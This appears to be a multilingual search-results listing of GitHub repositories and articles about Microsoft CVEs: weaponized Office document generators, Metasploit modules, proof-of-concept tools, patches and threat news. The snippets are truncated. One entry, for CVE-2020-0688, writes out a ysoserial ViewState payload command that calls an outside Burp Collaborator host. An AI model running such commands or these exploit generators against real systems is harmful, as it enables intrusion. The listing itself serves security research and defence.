159328 matches found
CVE-2017-11882
CVE-2017-11882 43b 元スクリプトは https://github.com/embedi/CVE-2017-11882 から 109b 元スクリプトは https://github.com/unamer/CVE-2017-11882/ から（敬意を表します。今やunamerのコードはshellcodeを実行できます〜） CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ MITRE CVE-2017-11882:...
Added-Pentest-Ground-to-vulnerable-websites-for-training
https://vulners.com/cve/CVE-2017-0089 Microsoft Windows Vista SP2, Windows Server 2008 SP2 및 R2 SP1, Windows 7 SP1의 Uniscribe는 원격 공격자가 조작된 웹 사이트를 통해 임의의 코드를 실행할 수 있도록 합니다. 일명 'Uniscribe 원격 코드 실행 취약점' 이 취약점은 CVE-2017-0072, CVE-2017-0083, CVE-2017-0084, CVE-2017-0086, CVE-2017-0087, CVE-2017-0088 및...
Warlock Exploits SharePoint Flaws to Disable Security Tools and Deploy Ransomware
The suspected China-linked threat actor known as Warlock is still continuing to weaponize Microsoft SharePoint vulnerabilities, likely both old and new, in attacks targeting organizations in Portuguese- and Spanish-speaking countries. The activity, observed by the Symantec and Carbon Black Threat...
Exploit-Win32.CVE-2017-0147.A
Exploit-Win32.CVE-2017-0147.A ウイルスの名前はMicrosoft Defenderの検出名であり、典型的なアンチウイルスです。...
CVE-2021-42321
CVE-2021-42321 Microsoft Exchange Server の PoC パッチ:https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321...
Exploit-Win32.CVE-2012-0158.F.doc
Exploit-Win32.CVE-2012-0158.F.doc 바이러스 이름은 Microsoft Defender의 탐지명이며, 일반적인 안티바이러스입니다...
CVE-2018-8174-msf
CVE-2018-8174-msf これは、CVE-2018-8174（VBScriptのメモリ破損の脆弱性）を悪用する悪意のあるWord文書を作成するMetasploitモジュールです。 このモジュールは非常に簡易的な移植であり、実際の攻撃で見つかったエクスプロイトサンプルを使用しています。このエクスプロイトはMicrosoft Office 32ビット版でのみ動作します。 このモジュールには改善すべき点が多くありますが、時間があれば将来アップデートする予定です。 インストール 1. CVE-2018-8174.rb を...
Microsoft-Word-CVE-2017-0199-
Microsoft-Word-CVE-2017-0199- 説明: Microsoft Word CVE-2017-0199 は、HTA ハンドラーを介した RCE に対して脆弱です。 Microsoft Office および WordPad が特別に細工されたファイルを解析する方法には、リモートコード実行の脆弱性が存在します。 この脆弱性の悪用に成功した攻撃者は、影響を受けるシステムを制御できる可能性があります。 影響: 攻撃者はこの脆弱性を悪用して、アプリケーションのコンテキストで任意のコマンドを実行できる可能性があります。 悪用に失敗した場合は、...
KQL_sentinel_CVE-2025-21333
このリポジトリには README がありません。...
CVE-2021-40444
Fully Weaponized CVE-2021-40444 CVE-2021-40444（Microsoft Office Word リモートコード実行）を悪用する悪意のある docx ジェネレーター。任意の DLL ファイルで動作します。 背景 多くの PoC がすでにインターネット上に存在しますが、この脆弱性を武器化するために自分自身で試してみることにしました。見つけた既存のものには共有する価値のある有益な情報が不足していたためです。また、Microsoft がこの脆弱性に対するパッチをすでにリリースしていることも考慮しました。...
CVE-2023-36884_patcher
CVE-2023-36884patcher CVE-2023-36884はOffice 2016、2019、2021バージョンに影響します。これはその暫定パッチです。ダウンロード後、右クリックして管理者権限で実行するだけです。...
CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability
Microsoft Outlook リモートコード実行脆弱性 PoC このスクリプトは、CVE-2024-21413（CVSSスコア9.8のMicrosoft Outlookで特定された重大なセキュリティ上の欠陥）の概念実証（PoC）を示しています。MonikerLink エクスプロイトと名付けられたこの脆弱性は、ローカルNTLMデータの漏洩の可能性やリモートコード実行のリスクなど、広範囲にわたる影響を及ぼします。さらに、Office Protected Viewを回避できる攻撃ベクトルを浮き彫りにし、他のOfficeソフトウェアへの脅威を拡大しています。 使用方法:...
cve-2020-0688
cve-2020-0688 cve-2020-0688 이메일 주소 권한이 있는 사용자로 로그인하는 것은 문제가 되지 않습니다. 획득 - 페이지 소스에서 VIEWSTATEGENERATOR 가져오기 획득 - viewstateuserkey 값에 대한 ASP.NETSessionId 쿠키 값 가져오기 여기서 YSO 다운로드 ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "nslookup teasdas.myburpcollab.net" --validationalg="SHA1"...
CVE-2025-3052
🐞 CVE-2025-3052: IhisiParamBuffer メモリ破壊 このリポジトリは、Microsoft のサードパーティ証明書で署名された UEFI モジュールにおけるメモリ破壊脆弱性である CVE-2025-3052 に関連する研究資料を集約したものです。この脆弱性により、攻撃者はセキュリティ上重要なファームウェア構造を破壊し、Secure Boot...
NotProxyShellHunter
NotProxyShellHunter NotProxyShell CVE-2022-40140 & CVE-2022-41082 をチェック...
CVE-2017-11882
CVE-2017-11882 元のスクリプトは https://github.com/embedi/CVE-2017-11882 から CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ MITRE CVE-2017-11882: https://vulners.com/cve/CVE-2017-11882 Research:...
CVE-2018-8174-msf
CVE-2018-8174-msf 이것은 CVE-2018-8174 - VBScript 메모리 손상 취약점을 악용하는 악성 워드 문서를 생성하는 metasploit 모듈입니다. 이 모듈은 매우 빠른 포트이며 실제 현장에서 발견된 익스플로잇 샘플을 사용합니다. 이 익스플로잇은 Microsoft Office 32비트에서만 작동합니다. 이 모듈은 개선해야 할 점이 많지만, 시간이 나면 나중에 업데이트할 예정입니다. 설치 1. CVE-2018-8174.rb를...
microsoft-diagcab-rce-poc
microsoft-diagcab-rce-poc Microsoft の Diagcab テクノロジにおけるパストラバーサル脆弱性の概念実証（PoC）です。この脆弱性はリモートコード実行につながる可能性があります。 完全なアドバイザリはこちらでご覧いただけます： https://medium.com/@radimre83/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd...
Teamsniper
Teamsniper Teamsniper は、Microsoft Teams 内のキーワード（パスワード、メール、データベースなど）を取得するためのツールです。 使用方法 ヘルプオプション usage: Teamsniper.py -h -d DATABASE -a AUTHTOKEN -s SEARCH Teamsniper is a tool for fetching the given keywords in Microsoft Teams. options: -h, --help show this help message and exit -d DATABASE,...